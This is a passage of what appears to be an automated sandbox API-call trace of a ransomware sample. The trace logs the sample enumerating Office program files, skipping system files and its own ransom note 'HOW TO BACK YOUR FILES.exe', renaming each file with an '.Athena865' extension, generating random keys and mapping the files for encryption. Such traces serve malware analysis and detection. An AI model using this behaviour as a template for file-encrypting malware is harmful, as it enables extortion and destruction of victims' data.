dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.324] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0082.339] CloseHandle (hObject=0x154) returned 1 [0082.339] CloseHandle (hObject=0x17c) returned 1 [0082.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0082.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.347] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0491420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xaeb88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ORGCHWIZ.DLL", cAlternateFileName="")) returned 1 [0082.347] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.347] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.347] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2=".") returned 1 [0082.347] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2="..") returned 1 [0082.347] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2="windows") returned -1 [0082.347] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2="bootmgr") returned 1 [0082.347] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2="temp") returned -1 [0082.347] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2="pagefile.sys") returned -1 [0082.347] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2="boot") returned 1 [0082.347] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2="ids.txt") returned 1 [0082.347] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2="ntuser.dat") returned 1 [0082.347] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2="perflogs") returned -1 [0082.347] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2="MSBuild") returned 1 [0082.347] lstrlenW (lpString="ORGCHWIZ.DLL") returned 12 [0082.347] lstrcpyW (in: lpString1=0x241e89e, lpString2="ORGCHWIZ.DLL" | out: lpString1="ORGCHWIZ.DLL") returned="ORGCHWIZ.DLL" [0082.347] lstrlenW (lpString="ORGCHWIZ.DLL") returned 12 [0082.347] lstrlenW (lpString="Athena865") returned 9 [0082.347] lstrcmpiW (lpString1="CHWIZ.DLL", lpString2="Athena865") returned 1 [0082.347] lstrlenW (lpString=".dll") returned 4 [0082.347] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2=".dll") returned 1 [0082.347] lstrlenW (lpString=".lnk") returned 4 [0082.348] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2=".lnk") returned 1 [0082.348] lstrlenW (lpString=".ini") returned 4 [0082.348] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2=".ini") returned 1 [0082.348] lstrlenW (lpString=".sys") returned 4 [0082.348] lstrcmpiW (lpString1="ORGCHWIZ.DLL", lpString2=".sys") returned 1 [0082.348] lstrlenW (lpString="ORGCHWIZ.DLL") returned 12 [0082.348] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHWIZ.DLL.Athena865") returned 65 [0082.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\orgchwiz.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHWIZ.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\orgchwiz.dll.athena865"), dwFlags=0x1) returned 1 [0082.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHWIZ.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\orgchwiz.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.349] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=715656) returned 1 [0082.349] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.349] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.349] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.349] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.350] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.350] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.350] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaee90, lpName=0x0) returned 0x154 [0082.352] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaee90) returned 0x2d50000 [0082.378] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.379] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.379] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.379] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0082.385] CloseHandle (hObject=0x154) returned 1 [0082.385] CloseHandle (hObject=0x17c) returned 1 [0082.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0082.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.389] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd64609a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x14590, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ORGWIZ.EXE", cAlternateFileName="")) returned 1 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2=".") returned 1 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2="..") returned 1 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2="windows") returned -1 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2="bootmgr") returned 1 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2="temp") returned -1 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2="pagefile.sys") returned -1 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2="boot") returned 1 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2="ids.txt") returned 1 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2="ntuser.dat") returned 1 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2="perflogs") returned -1 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2="MSBuild") returned 1 [0082.389] lstrlenW (lpString="ORGWIZ.EXE") returned 10 [0082.389] lstrcpyW (in: lpString1=0x241e89e, lpString2="ORGWIZ.EXE" | out: lpString1="ORGWIZ.EXE") returned="ORGWIZ.EXE" [0082.389] lstrlenW (lpString="ORGWIZ.EXE") returned 10 [0082.389] lstrlenW (lpString="Athena865") returned 9 [0082.389] lstrcmpiW (lpString1="RGWIZ.EXE", lpString2="Athena865") returned 1 [0082.389] lstrlenW (lpString=".dll") returned 4 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2=".dll") returned 1 [0082.389] lstrlenW (lpString=".lnk") returned 4 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2=".lnk") returned 1 [0082.389] lstrlenW (lpString=".ini") returned 4 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2=".ini") returned 1 [0082.389] lstrlenW (lpString=".sys") returned 4 [0082.389] lstrcmpiW (lpString1="ORGWIZ.EXE", lpString2=".sys") returned 1 [0082.389] lstrlenW (lpString="ORGWIZ.EXE") returned 10 [0082.389] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ORGWIZ.EXE.Athena865") returned 63 [0082.389] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGWIZ.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\orgwiz.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGWIZ.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\orgwiz.exe.athena865"), dwFlags=0x1) returned 1 [0082.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGWIZ.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\orgwiz.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.391] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=83344) returned 1 [0082.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.391] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.392] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.392] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.392] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14890, lpName=0x0) returned 0x154 [0082.393] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14890) returned 0x100000 [0082.397] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.397] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.397] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.398] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0082.399] CloseHandle (hObject=0x154) returned 1 [0082.399] CloseHandle (hObject=0x17c) returned 1 [0082.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0082.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.399] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd64d2dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x6a798, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ORMELEMS.DLL", cAlternateFileName="")) returned 1 [0082.399] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.399] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.399] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2=".") returned 1 [0082.400] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2="..") returned 1 [0082.400] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2="windows") returned -1 [0082.400] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2="bootmgr") returned 1 [0082.400] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2="temp") returned -1 [0082.400] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2="pagefile.sys") returned -1 [0082.400] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2="boot") returned 1 [0082.400] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2="ids.txt") returned 1 [0082.400] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2="ntuser.dat") returned 1 [0082.400] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2="perflogs") returned -1 [0082.400] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2="MSBuild") returned 1 [0082.400] lstrlenW (lpString="ORMELEMS.DLL") returned 12 [0082.400] lstrcpyW (in: lpString1=0x241e89e, lpString2="ORMELEMS.DLL" | out: lpString1="ORMELEMS.DLL") returned="ORMELEMS.DLL" [0082.400] lstrlenW (lpString="ORMELEMS.DLL") returned 12 [0082.400] lstrlenW (lpString="Athena865") returned 9 [0082.400] lstrcmpiW (lpString1="ELEMS.DLL", lpString2="Athena865") returned 1 [0082.400] lstrlenW (lpString=".dll") returned 4 [0082.400] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2=".dll") returned 1 [0082.400] lstrlenW (lpString=".lnk") returned 4 [0082.400] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2=".lnk") returned 1 [0082.400] lstrlenW (lpString=".ini") returned 4 [0082.400] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2=".ini") returned 1 [0082.400] lstrlenW (lpString=".sys") returned 4 [0082.400] lstrcmpiW (lpString1="ORMELEMS.DLL", lpString2=".sys") returned 1 [0082.400] lstrlenW (lpString="ORMELEMS.DLL") returned 12 [0082.400] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ORMELEMS.DLL.Athena865") returned 65 [0082.400] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMELEMS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ormelems.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMELEMS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ormelems.dll.athena865"), dwFlags=0x1) returned 1 [0082.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMELEMS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ormelems.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.402] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=436120) returned 1 [0082.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.403] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.403] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.403] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.403] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6aaa0, lpName=0x0) returned 0x154 [0082.405] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6aaa0) returned 0x2d50000 [0082.419] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.420] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.420] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.420] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0082.424] CloseHandle (hObject=0x154) returned 1 [0082.424] CloseHandle (hObject=0x17c) returned 1 [0082.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0082.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.426] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x830db760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x11990, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ORMMODEL.MDL", cAlternateFileName="")) returned 1 [0082.426] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.426] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.426] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2=".") returned 1 [0082.426] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2="..") returned 1 [0082.426] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2="windows") returned -1 [0082.426] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2="bootmgr") returned 1 [0082.426] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2="temp") returned -1 [0082.426] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2="pagefile.sys") returned -1 [0082.426] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2="boot") returned 1 [0082.426] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2="ids.txt") returned 1 [0082.426] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2="ntuser.dat") returned 1 [0082.426] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2="perflogs") returned -1 [0082.426] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2="MSBuild") returned 1 [0082.426] lstrlenW (lpString="ORMMODEL.MDL") returned 12 [0082.426] lstrcpyW (in: lpString1=0x241e89e, lpString2="ORMMODEL.MDL" | out: lpString1="ORMMODEL.MDL") returned="ORMMODEL.MDL" [0082.427] lstrlenW (lpString="ORMMODEL.MDL") returned 12 [0082.427] lstrlenW (lpString="Athena865") returned 9 [0082.427] lstrcmpiW (lpString1="MODEL.MDL", lpString2="Athena865") returned 1 [0082.427] lstrlenW (lpString=".dll") returned 4 [0082.427] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2=".dll") returned 1 [0082.427] lstrlenW (lpString=".lnk") returned 4 [0082.427] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2=".lnk") returned 1 [0082.427] lstrlenW (lpString=".ini") returned 4 [0082.427] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2=".ini") returned 1 [0082.427] lstrlenW (lpString=".sys") returned 4 [0082.427] lstrcmpiW (lpString1="ORMMODEL.MDL", lpString2=".sys") returned 1 [0082.427] lstrlenW (lpString="ORMMODEL.MDL") returned 12 [0082.427] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL.Athena865") returned 65 [0082.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL" (normalized: "c:\\program files\\microsoft office\\office14\\ormmodel.mdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ormmodel.mdl.athena865"), dwFlags=0x1) returned 1 [0082.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ormmodel.mdl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.428] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=72080) returned 1 [0082.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.428] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.429] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.429] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.429] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11c90, lpName=0x0) returned 0x154 [0082.431] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11c90) returned 0x100000 [0082.434] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.434] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.434] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.435] HeapFree 